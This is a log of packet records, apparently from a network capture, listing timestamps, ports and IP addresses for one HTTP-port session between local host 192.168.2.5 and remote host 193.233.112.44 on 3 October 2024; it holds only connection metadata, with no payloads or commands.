Oct 3, 2024 23:17:11.196396112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196413994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196417093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196428061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196432114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196448088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196475983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196723938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196741104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196757078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.196763992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196772099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.196795940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197133064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197149992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197164059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197179079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197180033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197186947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197197914 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197205067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197215080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197218895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197231054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197231054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197246075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197252035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197259903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197290897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197473049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197496891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197513103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197514057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197529078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197532892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197542906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197546005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197561979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197563887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197575092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197577953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197593927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197594881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197613001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197613001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197623014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197629929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197647095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197654963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197664022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.197674990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197681904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.197701931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.198143959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.198191881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.199733019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.199748993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.199764013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.199776888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.199790001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.199799061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.199886084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.199902058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.199918032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.199928999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.199934006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.199937105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.199953079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.199954987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.199963093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.199995041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200162888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200180054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200195074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200207949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200221062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200238943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200253963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200270891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200275898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200275898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200295925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200295925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200295925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200297117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200320005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200737000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200753927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200768948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200771093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200779915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200788021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200802088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200803041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.200818062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200829029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.200843096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.214749098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.214782000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.214797974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.214812040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.214819908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.214834929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.214852095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.214967966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.214967966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.214967966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.214967966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.215508938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.215533018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.215548992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.215560913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.215565920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.215567112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.215584040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.215588093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.215601921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.215604067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.215616941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.215621948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.215636969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.215637922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.215656996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.215668917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228245974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228317022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228565931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228588104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228604078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228619099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228620052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228631973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228642941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228647947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228662014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228666067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228682041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228683949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228693008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228707075 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228717089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228724957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228740931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228750944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228755951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228770971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228771925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228785038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228787899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228796959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228816032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228816032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.228828907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.228847027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270090103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270113945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270131111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270144939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270159006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270174026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270190001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270284891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270284891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270284891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270284891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270284891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270469904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270494938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270512104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270520926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270528078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270530939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270548105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270548105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270564079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270575047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270581961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270582914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270598888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270601988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270621061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270637035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270654917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270673037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270689964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270692110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270701885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270706892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270723104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270723104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270740986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270742893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270756006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.270760059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270775080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.270793915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286544085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286567926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286583900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286598921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286613941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286629915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286654949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286668062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286684990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286698103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286710024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286710024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286710024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286710024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286710024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286710978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286714077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286725998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286725998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286725998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286725998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286735058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286748886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286751032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286767960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286768913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286787987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.286791086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286797047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.286834955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287097931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287115097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287130117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287143946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287147999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287148952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287162066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287163019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287178993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287183046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287200928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287211895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287230015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287245989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287261009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287267923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287276983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287287951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287293911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287300110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287323952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287328959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287688017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287703991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287719011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287734985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287739992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287743092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287759066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287760019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287775993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287780046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287786007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287791967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287805080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287808895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287826061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287830114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287842989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287848949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287854910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287859917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.287878036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.287894011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.288443089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.288460016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.288475990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.288487911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.288491964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.288496971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.288510084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.288516045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.288527012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.288530111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.288541079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.288544893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.288562059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.288563967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.288580894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.288594007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290260077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290276051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290292978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290306091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290323973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290433884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290450096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290465117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290477037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290483952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290493011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290502071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290513039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290527105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290539980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290714979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290731907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290747881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290759087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290770054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290786982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290859938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290904999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290925980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290942907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290958881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290966034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290976048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.290977955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.290996075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.291006088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.291203976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.291220903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.291235924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.291251898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.291260958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.291260958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.291270018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.291274071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.291287899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.291295052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.291305065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.291322947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305269003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305296898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305311918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305334091 CEST	49710	80	192.168.2.5	193.233.112.44
